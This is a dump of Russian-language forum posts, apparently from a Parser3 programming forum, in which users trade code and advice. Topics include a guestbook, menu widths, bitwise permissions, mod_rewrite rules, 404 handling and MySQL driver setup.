"67840","да, меню горизонтальное\
пробовать пробовал, но возникла проблема в другом, когда подставляешь эту переменню (со значением ширины) в шаблон CSS\
то он не срабатывает там.\
\
поэтому, дальше цикл чето передумал делать.. решил ограничеть числовым значением.. опять же косяк получиться если измениться шрифт то и должно менятся это постоянное значение так что пока буду думать дальше"
"67842","@load[]\
^MAIN:dbconnect{\
   $messages[^table::sql{select id, author, email, date, body from gbook}]\
}\
\
@show_messages[]\
$ttt[^table::sql{select id from gbook}]\
            ^if($ttt){\
            ^void:sql{delete from gbook where id='$ttt.id'}\
            }{ Не выбрано.\
            }\
^if($messages){\
   ^messages.menu{\
      <table width=\"100%\" align=\"center\">\
         <tr>\
            <td align=\"left\" width=\"80%\"><b>$messages.author\
               ^if(def $messages.email){\
                  $messages.email\
               }{\
               }</b>\
            </td>\
            <td align=\"right\" width=\"10%\">$messages.date</td>\
            <td align=\"center\" width=\"10%\">\
            <form method=\"POST\">\
            <input type=\"checkbox\" name=\"Delete\" value=\"$ttt.id\" />* $ttt.id\
            <input type=\"submit\" value=\"ok\" name=\"del\" />\
            </form>\
            </td>\
         </tr>\
         <tr>\
            <td colspan=\"3\">$messages.body</td>\
         </tr>\
      </table>\
   }[<hr />]\
}{\
   Гостевая книга пуста.\
}"
"67843","А css формируется в html или отдельный файл? Если отдельный, то туда пробросить значение нельзя. Если в теле, то проблем быть не должно, при условии наличия переменной и значения в ней. Но без кода гадать никто не будет.\
\
Опять же, подумайте, как сверстать без заточки под определённую ширину."
"67844","да css отедльным файлом..\
ладно попробую вставить код в html или что нибудь другое придумаю.\
спасибо за совет"
"67845","Добавьте в корневой auto.p\
[code]@db[code]\
^connect[mysql://root@localhost/db]{$code}[/code]\
\
Ну и сам код:\
[code]@show_messages[]\
\
^db{\
	$messages[^table::sql{SELECT id, author, email, date, body FROM gbook}]\
}\
\
^if(def $messages){\
	<table>\
	^messages.menu{\
		<tr>\
			<td><a href=\"mailto:$messages.email\">$messages.author</a></td>\
			<td>$messages.date</td>\
			<td><a href=\"/?do=delete&id=$messages.id\">удалить</a></td>\
		</tr>\
		<tr>\
			<td colspan=\"3\">$messages.body</td>\
		</tr>\
	}\
	</table>\
}{\
	сообщений нема.\
}\
\
@auto[]\
\
^if(def $form:do && $form:do eq \"delete\" && def $form:id){\
	\
	^db{\
		^void:sql{DELETE FROM gbook WHERE id = '$form:id'}\
	}\
	\
	$response:location[http://$env:SERVER_NAME/] \
	\
}{\
	что-то не так с параметрами...\
}[/code]"
"67846","[code]\
<style>\
.tabs	{list-style: none;}\
.tabs li {display: inline; padding: 0.3em 0.5em;}\
.tabs li.s {background: #bbb;}\
</style>[/code]\
\
[code]<ul class=\"tabs\">\
	^tab.menu{\
		^if(^request:uri.pos[$tab.uri] != -1){\
			^if($tab.uri eq $request:uri){\
				<li class=\"s\">$tab.name</li>\
			}{\
				<li class=\"s\"><a href=\"$tab.uri\">$tab.name</a></li>\
			}\
		}{\
			<li><a href=\"$tab.uri\">$tab.name</a></li>\
		}\
	}\
</ul>[/code]"
"67847","Здесь все табы будут разной ширины."
"67848","[quote]щас делаю меню навигации и хочу чтобы ширина ячейки была равна самому длинному имени.[/quote]\
Каждой ячейки? тогда javascript вам в помощь.\
\
Но, имхо, плохая затея с точки зрения юзабилити."
"67850","Если в SQL то циклов не надо:\
\
[code]SELECT MAX(LENGTH(`field`)) FROM `table`[/code]"
"67851","Вот только от птичек я бы посоветовал избавляться, путем выноса JS-скрипта в отдельный оператор (а еще лучше - в отдельный файл, но это не всегда возможно)\
[code]\
@main[]\
...\
^printJSFCK[]\
<textarea name=\"MyTextarea\">$page.content</textarea>\
...\
\
@printJSFCK[]\
^rem{здесь экранировать ; уже не надо}\
<script type=\"text/javascript\">\
	window.onload = function(){\
	var oFCKeditor = new FCKeditor( 'MyTextarea' );\
	oFCKeditor.Config[\"EnterMode\"] = 'br';\
	oFCKeditor.BasePath = \"fckeditor/\";\
	oFCKeditor.Height	= 400;\
	oFCKeditor.ReplaceTextarea();\
	}\
</script>[/code]\
\
и переносить потом, если что - легче будет"
"67852","Почитайте документацию к парсеру + базовые вещи про MySQL (статей в интернете предостаточно)\
\
Толку от того, что вам дадут работающий [b]примитивный[/b] код лично для вас будет мало."
"67853","ок, просто гостевая книга - не та цель, к которой я стремлюсь) просто хотел понять полностью, как это действует.\
а документацию и так всё время использую"
"67854","Здравствуйте,\
Я ничего не понимаю в этой системе, но мне нужно внести изменения в сайт, написанный с помощью Парсера. \
Вывод информации должен выполняться на основе довольно сложной логики и запросов к БД. \
Можно ли, чтобы не погружаться глубоко в эту сложную штуку, какимто образом включить php-файл, например? т.е не исходный код, а именно результат выполнения, возвращающий какой-то хтмл-кусок?\
Помогите, пожалуйста!"
"67855","Нету [url=\"http://pwet.fr/man/linux/commandes/posix/date\"]символа замены %I[/url], который выводит час в буржуйском варианте (PM/AM).\
\
Лечится легко, добавляем в функцию @format ещё один кейс\
[code]\
^case[I]{^if($dtDate.hour > 0 && $dtDate.hour < 13){$dtDate.hour}{^if($dtDate.hour < 1)($dtDate.hour + 12)($dtDate.hour - 12)}}\
[/code]"
"67858","во-первых, это класс ready-to-use.\
во-вторых, там много чего полезного для изучения."
"67859","$file[^file::load[text;http://www.site.ru]]\
^untaint{$file.text}"
"67860","включить обработку .css парсером и передать переменную как параметр формы:\
[code]\
<link ... href=\"style.css?tab_width=$tab_width\" />\
[/code]\
хотя при наличии большого числа больших CSS'ов я бы так не делал"
"67861","Большое спасибо! получилось!\
я так и думала про fileload, но до полной конструкции конечно не догадалась"
"67862","Такое ощущение, что он не может скачать некий libgc...\
И из-за этого ничего не собирается."
"67865","В любом случае, в мануале %I присутствует."
"67866","сравните строки:\
iiiiiiiiii\
жжжжжжжжжж\
\
по длине разные, по кол-во символов - одинаковые.\
было дело, что заказчик ну никак не понимал этого! Пришлось вводить доп. таблицу с шириной символов и каждый считать (чушь, не правда ли?).\
\
Для определенных целей подойдет и JS. Но лучше все решать с помощью СТАТИЧНОГО css"
"67867","1. можно ли вернуть void из метода? У меня не получилось. Если делаю $result[], то результат работы метода будет класса string.\
\
2. можно ли узнать, через какой класс был вызван статический метод? Проще на примере:[code]@main[]\
$oC[^C::init[]]\
^^oC.new[] = ^oC.new[]<br>\
^^C:new[] = ^C:new[]\
\
\
@CLASS\
B\
@new[]\
$CLASS_NAME\
\
\
@CLASS\
C\
@BASE\
B\
@init[]\
###\
@new[]\
^BASE:new[][/code]Возможно, так оно и надо... Но статические переменные дочернего класса в статическом методе базового класса мне тоже не достать... А хочется знать, через что вызван метод.\
\
\
P: 3.3.0. @OPTIONS: locals."
"67868","ну да верно длина разная.\
меню выпадающее горизонтальное.. на JS\
когда меню выпадает, тоширина выпадающего меню, всегда образала под корень само название подраздела..\
нужно было сделать длину имени раздела больше на несколько px\
хотел сделать чтобы оно было ровно длине самого длинного имени в это разделе.. + несколько px\
\
но в итоге статику сделал.. просто заведомо чутьбоьшей длины"
"67869","1. нельзя\
2. я не понял вопроса"
"67870","... то Вы хотите понять как вызван метод - статически или динамически... Это выяснить невозможно (насколько я понимаю, даже статический конструктор не поможет). \
\
Если все-таки возникает реальная необходимость сделать разное поведение метода при статическом или динамическом вызове (не самое лучшее решение), то лучше разрулить это на уровне параметров метода - посмотрите как реализован метод date.last-day в самом Парсере."
"67871","1. :-(\
 \
   Пока делаю так:[code]$oBj[^SomeUserClass:find($iId)]\
^if($oBj is Class){\
   эта проверка помогает, т.к. все классы, которые меня интересуют, имеют общего прародителя Class\
}[/code]\
2. :'(\
Например, код [code]^News:find_all[id < 5][/code] должен вернуть некоторое количество объектов класса News, а [code]^Article:find_all[is_published][/code] должен вернуть объекты класса Article. Метод find_all определен в родительском классе. Очень не хотелось все подобные методы переопределять в дочерних классах. Хотя, если я сделаю в каждом классе так:[code]@find_all[sContitions]\
	^BASE:find_all[$sContitions][/code], то смогу в родительском классе получить $caller.CLASS_NAME... Но это засорение клиентского кода ненужными подробностями."
"67872","А когда пишу [code]^ВсёРавноКакойТутКласс:find_all[Article;is_published]\
или\
^ОбязательноРодительскийКласс:find_all[Article;is_published][/code], вообще хочется убиццо об стену."
"67874","1. считаю, что подход плох. как обычно предлагается описать задачу.\
\
2. а не надо использовать для этого статические классы."
"67876","Шановне панство.\
Могу ли я после выполнении sql запроса(UPDATE) получить количество записей которые были изменены?"
"67877","Есть вот такой код:\
[code]$var[template1]\
^use[${var}.p]\
^${var}:inserteditpage[][/code]\
последовательность [code]^${var}:inserteditpage[][/code] не дает результат, если ставить две [code]^^[/code] тоже ничего, если убрать скобки, тот же результат, а надо что бы получилось [code]^template1:inserteditpage[][/code] как еще можно вызвать класс template1, кроме как руками писать? Может кто знает?"
"67879","http://www.parser.ru/forum/?id=62814"
"67884","конечно нельзя выполнить такую вещь как:\
[code]$i(^int:sql{UPDATE ... SET ...}[$.default{0}])[/code]\
\
но вы же знаете что и на что меняете, следовательно можно до апдейта сделать селект и посчитать сколько их будет.\
\
Хотя первое было бы намного удобнее. Вдруг кто-то решится аналог PHP_my_admin писать :)"
"67885","http://www.spearance.ru/parser3/poll/\
сайт не доступен, где можно еще посмотреть описание его работы ?"
"67888","Вопрос не по парсеру, а скорее по математике и программированию  в общем.\
Может кто-нибудь подсказать максимально простой способ перевода числа в сумму степеней двойки?\
\
Т.е. имея, например, 386, мы получаем 386=2^8+2^7+2^1.\
Так много где записываются права пользователей, но что-то не получается найти способа обратного перевода.\
\
Спасибо!"
"67890","для установки бита и проверки его на 0/1 см. ответ Sumo.\
\
представление числа в виде строки с его двоичном представлением использовать может потребоваться лишь при отладке (если я правильно понял, что вам требуется). его пример есть в Lib.p/@dec2bin[]"
"67891","Пожалуйста, подскажите как средствами Парсера определить что дата извлеченная из БД (datetime) отличается от текущей даты на 15 дней в меньшую сторону?\
\
Заранее благодарю."
"67892","создать из полученной строки с датой парсерный объект типа дату и сравнить его (==, <, >) с ^date::now(-15)\
\
но лучше так не делать, а попросить у sql сервера выполнить эту операцию и вернуть дополнительный флаг \"новая запись\"."
"67893","Я думал для пользователей записывать так права. Делаю админку, в которой реально много действий пользователя возможно - порядка 20 и возможны новые, и на все нужны права. Заводить отдельную табличку не хочется.\
\
Решил попробовать таким образом как выше описал. От пользователя берётся число в десятичной форме и разбивается на степени двойки, сравниваясь с хэшем с операциями.\
\
Возможно, в этом способе, есть существенные недостатки. Если так, какие? Буду очень длагодарен за совет."
"67894","А также сюда — http://www.parser.ru/forum/?terms=acl&author=&doSearch=do\
\
Подход верный, но для небольшого количества прав.\
Дальше сложнее."
"67896","там весь расчет для \"стекающих\" по дереву прав. \
\
тут пока, судя по объяснению, нужны битовые OR, AND и всё.\
для большого количества разных прав их придётся разбить по группам, т.к. в один int это не уместится.\
но \"преобразовывать в степени двойки\" (объяснения не было, мне это представляется только как печать числа в двоичном виде) незачем."
"67898","[quote]создать из полученной строки с датой парсерный объект типа дату и сравнить его (==, <, >) с ^date::now(-15)[/quote]\
\
тут мы сравним с датой меньшей на 15 дней. а если надо меньше на 4 часа, как будет выглядеть конструктор даты?"
"67900","Ну, товарищу нужно работать с правами битовыми операциями, а расчёт — тоже пример.\
\
Я думаю, вопрошающий просто не до конца понимает, что именно ему нужно, и что «преобразовывать в степени двойки» и «сравнивать по хешу» не нужно будет вовсе."
"67901","Есть ряд операций и флаг - 0/1 - можно/нельзя.\
Каждая операция - степень двойки. К примеру\
\
Посмотреть - 0 (=1)\
Добавить - 1 (=2)\
Удалить - 2 (=4)\
Редактировать - 3 (=8)\
Опубликовать - 4 (=16)\
Разослать - 5 (=32) и т.д.\
\
Когда пользователь авторизован, мы смотрим, какое у него там число записано - например 20 - это значит, что он может выполнять операции 1 и 4 - удалять и  публиковать. Суть моего вопроса и была в том, чтобы легко и изящно вернуть для числа хэш вида\
$hRighs[\
 $.0[0]\
 $.1[1]\
 $.2[0]\
 $.3[0]\
 $.4[1]\
 $.5[0]\
]."
"67903","задачи у вас, как у писателя серверных скриптов будут такие:\
\
для отображения какого-либо элемента интерфейса нужно проверить одно право: \
\
$iUserRights(20)\
^if($iUserRights & $hRight.View){есть права на просмотр}\
\
$hRight -- хеш с вашими константами, у View -- 1, у Add -- 2, у Delete -- 4 и т.д.\
\
к видите, раскладывать на биты или в хеш ничего не надо. всё шаманство в изумительном операторе побитового И -- '&'"
"67906","Есть руль, разбивающий адрес на язык и остальное:\
[code]\
RewriteRule		^(rus|ukr|eng)/(.*)$	/?lang=$1&uri=/$2 [QSA]\
[/code]\
Далее на основании $form:uri и $form:lang достается страница из БД.\
Нужно вместо \"rus|ukr|eng\" подгрузить текстовый файлик, который генерится парсером, и из него считать доступные языки, чтобы не прописывать все возможные вручную.\
Так можно сделать?"
"67909","а далее парсером проверяйте: знаете вы про указанный зык или нет.\
\
по мне, так генерить парсером .htaccess не рулез."
"67910","... но наверняка можно вобще с этим не парится, а разбираться с языками прямо в скриптах (передав uri целиком в единую точку входа)."
"67911","Первая часть не всегда язык.\
Неудобно когда язык вместе с адресом. Всеравно приходится разбивать, хотя бы при переключении языка. А так удобная подстановка [нужный_lang]/$form:uri.\
И при выдаче страницы мне как раз нужны эти 2 параметра\
[code]\
SELECT ... WHERE uri='$form:uri' AND lang='$form:lang'\
[/code]\
А htaccess будет генериться только при добавлении/удалении языков в админке\
\
Разве mod_rewrite сделает разбивку не быстрее чем Парсер?"
"67912","Нетрудно выделить подстроку до первого / и поискать ее в таблице языков. Если нашли — значит это и будет lang, а оставшаяся часть будет uri. Если нет — то вся строка будет uri, а lang выставляем по умолчанию.\
\
> Разве mod_rewrite сделает разбивку не быстрее чем Парсер?\
Возможно и быстрее, однако, ИМХО, выигрыш будет призрачным."
"67914","Добрый день!\
\
Ищу единомышленников и парсер-програмеров в Киеве. Нужны партнеры. Есть масса проектов, которые можно было бы развивать, и ещё больше, которые можно стартапить.\
\
Пишите!"
"67915","не могу понять почему выходит ошибка ?\
MySql\
class is undefined\
Z:/home/ddd/www/auto.p(12:2) \
\
вот содержимое auto.p\
\
[code]@auto[]\
$SQL.connect-string[mysql://root@localhost/ddd?charset=cp1251_koi8]\
# строка коннекта для старого кода\
$connect[mysql://root@localhost/ddd?charset=cp1251_koi8]\
\
\
$oSql[^MySql::create[$SQL.connect-string;\
$.bDebug(1)\
$.sCacheDir[/data/sql_cache]\
]]\
\
\
$CLASS_PATH[^table::create{path\
/classes\
}][/code]\
\
\
если удаляю из auto.p \
эту строчку \
[code]$oSql[^MySql::create[$SQL.connect-string;\
$.bDebug(1)\
$.sCacheDir[/data/sql_cache]\
]]\
[/code]\
то выходит ошибка в классе самого опросника\
[code]\
AND dt_finish < ^MAIN:pSQL.now[][/code]"
"67916","Там наверняка что-нибуль типа [code]$.pSQL[$oSql][/code]"
"67918","Это то здесь причем ? когда все классы подключены автоматически через \
[code]$CLASS_PATH[^table::create{path\
/classes\
}][/code]\
\
Хотя попробовал как вы говорите но не получаеться.. результат тотже"
"67919","честно говоря непонял вобще.\
знаю что у меня проблема с подключением к базе.\
но проблема именно с опросом, так как все меню и все остальное работает.. все на mysql держиться\
\
код создания навернно это этот ?\
\
[code]$poll[^poll::create[]]\
^poll.show[\
	$.poll_id(1)\
	$.xslt_path[/poll/poll.xslt]\
	$.request[$form:tables]\
][/code]"
"67920","ошибка ссылаеться на  \"^MySql\" в строке \
[code]$oSql[^MySql::create[$SQL.connect-string;\
	$.sCacheDir[/poll/data/sql_cache]\
]]\
[/code]\
видимо он не определен.. хотя все классы определены.\
если в корневом auto.p\
пишу вверху\
[code]@USE\
/classes/MySql.p\
[/code] то выходит ошибка что ненайден Sql.p\
\
дописываю и его\
имеем полный auto.p\
[code]\
@USE\
/classes/MySql.p\
/classes/Sql.p\
\
@main[] \
^header[] \
^body[] \
^footer[] \
\
@auto[]\
$SQL.connect-string[mysql://root@localhost/ddd?charset=cp1251_koi8]\
\
$oSql[^MySql::create[$SQL.connect-string;\
	$.bDebug(1)\
	$.sCacheDir[/poll/data/sql_cache]\
]]\
\
$MAIN:pSQL[^MySql::create[$SQL.connect-string]]\
$MAIN:pSQL[^MySql::init[$SQL.connect-string]]\
\
\
$CLASS_PATH[^table::create{path\
/classes/\
}]\
\
[/code]\
\
\
Уже все арзные методы пробовал но че то не идет и все"
"67921","[quote]Это то здесь причем ? когда все классы подключены [b]автоматически[/b] через[/quote]\
Где вы такое прочитали?\
\
Классы надо явно указывать в @USE. Это во-первых.\
\
Во-вторых, опредляйте $CLASS_PATH в конфигурационном auto.p (если одна папка, можно строкой, т.е. $CLASS_PATH[/../]). В этом случае папку classes можно вынести за пределы корневой папки, в целях безопасности."
"67922","Парсер пытается вызвать методы из классов, о которых вы ему сообщаете лишь в самом конце (CLASS_PATH).\
\
И ещё: MySql.p использует \"родительский\" Sql.p, поэтому чисто логически в @USE сначала должен идти Sql.p, а потом MySql.p"
"67923","ок, вот начал сначала.. переделал весь auto.p\
\
теперь он выглядит так\
[code]@auto[]\
$CLASS_PATH[^table::create{path\
/classes/\
}]\
\
^use[MySql.p]\
^use[Sql.p]\
^use[MySql.p]\
\
$SQL.connect-string[mysql://root@localhost/ddd?charset=cp1251_koi8]\
$oSql[^MySql::create[$SQL.connect-string;\
	$.bDebug(1)\
	$.sCacheDir[/poll/data/sql_cache]\
]]\
$MAIN:pSQL[^MySql::create[$SQL.connect-string]]\
$MAIN:pSQL[^MySql::init[$SQL.connect-string]][/code]\
\
а еще в чем разница вот этих двух строк ?\
[code]$MAIN:pSQL[^MySql::create[$SQL.connect-string]]\
$MAIN:pSQL[^MySql::init[$SQL.connect-string]][/code]\
\
в одной создаем а в другой инициализируем ?\
\
\
вот ошибка которая появилась\
[quote]sql\
\
outside of 'connect' operator\
Z:/home/ddd/www/classes/poll.p(220:7)\
[/quote]"
"67924","[code]@auto[]\
$CLASS_PATH[^table::create{path\
/classes/\
}]\
\
^use[MySql.p]\
\
$SQL.connect-string[mysql://root@localhost/ddd?charset=cp1251_koi8]\
$MAIN:pSQL[^MySql::create[$SQL.connect-string;\
	$.bDebug(1)\
	$.sCacheDir[/poll/data/sql_cache]\
]][/code]"
"67925","с вашим кодом выходит ошибка\
sql\
outside of 'connect' operator\
Z:/home/ddd/www/classes//poll.p(219:7) \
\
\
то что два слеша это решаеться через\
$CLASS_PATH[^table::create{path\
/classes/\
}]\
\
просто пишу  /classes\
\
и все нормально.. но все ровно что бы не писал\
ошибка \
sql\
outside of 'connect' operator\
Z:/home/ddd/www/classes/poll.p(219:7) \
\
\
в этой строке вот что\
\
[code]@_close[][closed]\
[b]^void:sql{[/b]\
	UPDATE $pi_table SET status = 0 \
	WHERE status = 1\
	AND dt_finish IS NOT NULL \
	AND dt_finish < ^MAIN:pSQL.now[]\
}\
$closed[^MAIN:pSQL.table{ SELECT poll_id AS id FROM $pi_table WHERE status = 0 }]\
^if($closed){\
	^closed.menu{\
		^void:sql{ DELETE FROM $pr_table WHERE poll_id = $closed.id }\
		^if(-f \"$cache_path/poll_${closed.id}.cfg\"){^file:delete[$cache_path/poll_${closed.id}.cfg]}\
	}\
}\
### End @_close[]\
[/code]\
\
\
выделил жирным то место на что ссылаеться ошибка"
"67929","У вас \
[code]^void:sql{\
	UPDATE $pi_table SET status = 0 \
	WHERE status = 1\
	AND dt_finish IS NOT NULL \
	AND dt_finish < ^MAIN:pSQL.now[]\
}[/code]\
вне connect, на что и ругается Парсер.\
\
Что вообще делает этот метод, закрывает опрос?\
Почему он делает это в обход API класса «опросника»?\
Зачем лезет в базу сам, да ещё то через SQL-объект, то напрямую?.."
"67930","Не получаеться его прикрутить.\
Страница с примером не работает.\
все что  у меня есть это это описание и все http://www.spearance.ru/parser3/poll/source.html\
полной весрии этого примера нету\
http://www.spearance.ru/parser3/poll/\
\
пытаюсь раобраться по описанию и через форум но не получаеться.\
на форуме опрос почти не обсуждался.\
вот и не знаю что и как сделать. от этого и спрашиваю."
"67932","По конкретной ошибке я вам пояснил что происходит.\
Вы написали конструкцию не [url=http://www.parser.ru/docs/lang/voidsql.htm]по синтаксису[/url], отчего получили ошибку.\
\
Она не зависит от того, верно вы используете класс «опросника» или нет.\
\
Если решили использовать SQL-классы делайте обращения к базе через созданный объект, например ^oSQL.void{..} вместо ^void:sql{...}.\
Будет проще.\
\
Что до класса poll, в этой ветке его лучше не обсуждать.\
Создайте новую, где по порядку распишите вопросы.\
Что именно вы сделали, что не получилось.\
Придёт Юджин, и как автор этого класса, возможно, вам что-то подскажет.\
\
Вдогонку.\
Пошёл поглядел этот «опросник» и увидел там тот самый кусок [code]^void:sql{\
	UPDATE $pi_table SET status = 0 \
	WHERE status = 1\
	AND dt_finish IS NOT NULL \
	AND dt_finish < ^MAIN:pSQL.now[]\
}\
[/code]\
.\
Я считал, что это вы его написали, а это изначально в классе.\
Это ошибка.\
Там по всему коду вперемешку вызовы через oSQL-объект и напрямую.\
\
Поправить это, думаю, можно, опять же, двумя путями.\
Заключить инициализацию и работу класса «опросника» в ^oSQL.server{}, чтобы sql-операторы находились внутри установленного соединения.\
Или исправить все прямые вызовы (void:sql, int:sql и т.п.) на аналогичные методы oSQL-объекта (^oSQL.void{}, ^oSQL.int{} и т.д.)."
"67933","Хостинг-Центр РБК\
\
\
$SQL[\
   $.drivers[^table::set{protocol    driver    client\
mysql    $sqldriversdir/libparser3mysql.so    /usr/lib/mysql/libmysqlclient.so\
}]\
]\
\
Выдает ошибку:\
[Tue Sep 30 11:05:16 2008] [18214] /: /home/euromebe/public_html/_etc/sql.p(76:2): './lib/libparser3mysql.so' driver failed to initialize client library '/usr/lib/mysql/libmysqlclient.so', /usr/lib/mysql/libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>] [uri=/, method=GET, cl=0] \
\
\
Кто нибуть знает где лежит libmysqlclient.so на их сервере уже перепробовал:\
\
/usr/lib/mysql/libmysqlclient.so \
/usr/lib/mysql/libmysqlclient.so.10\
/usr/lib/mysql/libmysqlclient.so.12  \
/usr/lib/mysql/libmysqlclient.so.15\
\
/usr/lib/libmysqlclient.so"
"67934","Нужно получать текущее uri iframe\"a. Подскажите как можно сделать."
"67936","Что значит «текущее uri iframe\"a»?\
\
Со стороны сервера запрашиваемый через iframe документ ничем не отличается от остальных.\
Браузер запращивает его по определённому URL, получает ответ.\
\
Соответственно скрипт, отдающий запрощенный документ, спокойно знает $request:uri."
"67937","молчит :( , по этому и написал сюда может кто то уже сталкивался, и подскажет ответ"
"67938","есть страница index.html  в ней есть <iframe src=iframe.html> также есть ссылки обращающиеся к iframe.html с разными параметрами (iframe.html?id=nn&id2=mm...)  Так вот если на index.html ставим $request:uri он выдает index.html, а мне нужно вот это - iframe.html?id=nn&id2=mm..."
"67939","[quote]Так вот если на index.html ставим $request:uri он выдает index.html, а мне нужно вот это - iframe.html?id=nn&id2=mm...[/quote]\
\
А откуда index.html знает что делается [b]на другой странице[/b]?..\
Ставите $request:uri в iframe.html — получаете нужный вам «iframe.html?id=nn&id2=mm...»."
"67940","так вся проблема в том что uri iframe'a нужен на index.html  Как я понимаю средствами парсера это не сделать?"
"67941","У меня такое ощущение, что вы не понимаете как работает «клиент-сервер» и браузер.\
\
Или я не понимаю вашей задачи из-за путаного объяснения.\
\
Если считаете, что неправильно понял: приведите пример, с кодом и ясно поставленой задачей."
"67943","В конфигурационном auto.p (который лежит в /cgi-bin/parser3/)\
\
[code]mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so[/code]\
\
Хотя вот смотрю лог парсера - коннект периодически падает\
[code]... Unknown MySQL server host ...[/code]"
"67944","на сайте mysql есть бинарники под любую OS.\
Взять ее из архива, да положить себе куда-нибудь."
"67946","Не могу найти в документации как сделать так, чтобы парсер не срабатывал, если файл.html не существует.\
\
Сейчас, если зайти site.ru/notfound.html - выдаёт статус 500.\
\
И ещё вопрос знатокам rewrite'а:\
\
Почему пропускает 1d, d1, dd ? ведь в правиле чётко указано только цифры 0-9\
[code]\
RewriteEngine on\
RewriteBase /\
\
RewriteCond %{SCRIPT_FILENAME} !-f\
RewriteCond %{SCRIPT_FILENAME} !-d\
RewriteRule ^([0-9]+)/?$ view.html?id=$1 [L]\
[/code]"
"67948","[quote]Сейчас, если зайти site.ru/notfound.html - выдаёт статус 500.[/quote]\
\
Что в логе по этому поводу?\
\
[quote]Почему пропускает 1d, d1, dd ? ведь в правиле чётко указано только цифры 0-9 \
RewriteEngine on\
RewriteBase /\
\
RewriteCond %{SCRIPT_FILENAME} !-f\
RewriteCond %{SCRIPT_FILENAME} !-d\
RewriteRule ^([0-9]+)/?$ view.html?id=$1 [L]\
[/quote]\
\
Именно выражение «^([0-9]+)/?$» пропускать буквы не может.\
Скорее всего, правило просто не срабатывает.\
Возможно из-за RewriteCond.\
\
Напишите RewriteRule ^([0-9]+)/?$ http://ya.ru/ [R] и вбейте URL с «1d, d1, dd», если на яндекс не перекинет — правило не работает."
"67950","[quote]Сейчас, если зайти site.ru/notfound.html - выдаёт статус 500.\
Что в логе по этому поводу?[/quote]\
[code]/abc.html: '/www/site/www/htdocs/abc.html' read failed: No such file or directory (2), actual filename '/www/site/www/htdocs/abc.html' [file.missing] [uri=/abc.html, method=GET, cl=0][/code]\
\
С реврайтом разобрался, дело было в ErrorDocument 404 который я ещё не доделал :)"
"67951","[quote]/abc.html: '/www/site/www/htdocs/abc.html' read failed: No such file or directory (2), actual filename '/www/site/www/htdocs/abc.html' [file.missing] [uri=/abc.html, method=GET, cl=0][/quote]\
\
@unhandled_exception[] вам в руки.\
Условие на тип ошибки и выдача 404-результата.\
На форуме даже готовые валялись, если вдруг лень писать.\
\
[quote]Перекидывает, т.е. правило работает.[/quote]\
\
И на какой URL сработало?"
"67952",".htaccess:\
[code]\
ErrorDocument 404 /404.html\
[/code]\
запрос вида /not/found/ выдаёт статус 404 и загружает 404.html\
\
В конф. auto.p\
[code]\
@unhandled_exception[exception;stack]\
^if(def $exception && $exception.type eq \"file.missing\"){\
	$exception.handled(true)\
	$response:status(404)\
}{\
	#use debug version to see problem details\
	^unhandled_exception_release[$exception;$stack]\
	#^unhandled_exception_debug[$exception;$stack]\
}\
[/code]\
Лишь выдаёт статус 404.\
\
Другой вариант:\
[code]\
	$exception.handled(true)\
	$response:location[http://$env:SERVER_NAME/404.html]\
[/code]\
(в 404.html есть $response:status(404))\
\
Но тогда сначала идёт 302 Found и перенаправление на 404.html"
"67953","[quote]ErrorDocument 404 /404.html[/quote]\
\
Это директива Apache.\
Если он не найдёт файл — будет редирект на указаный адрес.\
\
Попробуйте так в обработчике указать:\
[code]\
	$exception.handled(true)\
	$response:status(404)\
	$response:location[/404.html]\
[/code]\
\
Либо всё же указать в .htaccess критерии 404 ошибки, например:\
[code]\
	RewriteCond %{REQUEST_FILENAME}	!-f\
	RewriteCond %{REQUEST_FILENAME}	!-d\
	RewriteRule ^.*$  /404.html [L]\
[/code]"
"67954","[quote]Попробуйте так в обработчике указать: \
	$exception.handled(true)\
	$response:status(404)\
	$response:location[/404.html][/quote]\
\
В этом случае, выводит статус 404, перенаправления не происходит."
"67955","[quote]RewriteCond %{REQUEST_FILENAME}	!-f\
RewriteCond %{REQUEST_FILENAME}	!-d\
RewriteRule ^.*$  404.html [L][/quote]\
\
работает, но что-то меня смущает такой вариант, т.к. параметр ErrorDocument 404 ... не просто так сделали."
"67956","Редирект делайте внутренний, а статус пусть выдаёт 404.html.\
Всё будет работать."
"67957","ErrorDocument директива Apache, и обрабатывать статус она будет если это — заданный код ответа сервера.\
В данном же случае — ошибка Парсера.\
Судя по всему, выполняется rewrite, и обработка запроса переходит к Парсеру, который и не находит документа.\
\
Следовательно, либо обрабатывать ошибку Парсера, либо определить такое rewrite-правило, которое будет перенаправлять на 404-старницу без дёрганья Парсера.\
\
Ясное дело, что «некошерно».\
Лучше прописать ErrorDocument для того, за что отвечает сервер и rewrite на обработку ошибочных запросов к документам, генерируемых обработчиком (Парсером).\
Но это не всегда можно сделать."
"67958","Вообщем пришли к такому:\
\
в .htaccess\
[code]\
ErrorDocument 404 /404.html\
[/code]\
обрабатывает всё, кроме *.html\
\
в конф. auto.p пример из ФАКа\
[code]\
@unhandled_exception[exception;stack]\
^if($exception.type eq \"file.missing\"){\
	^rem{*** если нет файла то делаем внутренний ***}\
	^rem{*** редирект на страницу с 404 ошибкой ***}\
	^rem{*** не забывая написать в ней $response:status(404) ***}\
	$response:location[/404.html]\
}{\
	#use debug version to see problem details\
	^unhandled_exception_release[$exception;$stack]\
	#^unhandled_exception_debug[$exception;$stack]\
}\
[/code]\
\
в 404.html\
[code]\
$response:status(404)\
<title>404</title>\
404 нет такой страницы.\
[/code]\
\
G_Z, спасибо за разбор полётов :)"
"67959","Поиск по запросу \"OPTIONS\" не выдает имеющую отношение к запросу страницу про [url=\"http://www.parser.ru/docs/lang/?defineclass.htm\"]определяемые пользователем классы и операторы[/url].\
\
Пример.\
В результаты только ссылка на \"send. Отправка сообщения по электронной почте\"\
[code]\
http://www.parser.ru/docs/search.html?text=OPTIONS\
[/code]\
\
Хотя при другом запросе, учитывает данную страницу.\
[code]\
http://www.parser.ru/docs/search.html?text=USE\
[/code]"
"67960","Есть база данных в mySQL, интерфейс на парсере. Нужно записать ее на CD так, чтоб можно было использовать на разных компьютерах. В прямую запускать денвер с CD не получается (я так понял, диск должен быть доступен для записи), похоже нужно сделать инсталлятор. Вопрос к гуру, разбирающихся в этой небесной механике - как лучше реализовать? Можно, например, сделать bat файл, привязанный к автозагрузке CD, копирующий ключевые вещи на комп и запускающий денвер, но вот что это за ключевые вещи и куда их класть...\
Может просто поменять где-то настройки денвера так, чтоб то, что он хочет писать на диск в процессе работы, он писал, скажем, в C:\\Temp..."
"67961","и запускайте autorun'ом.\
\
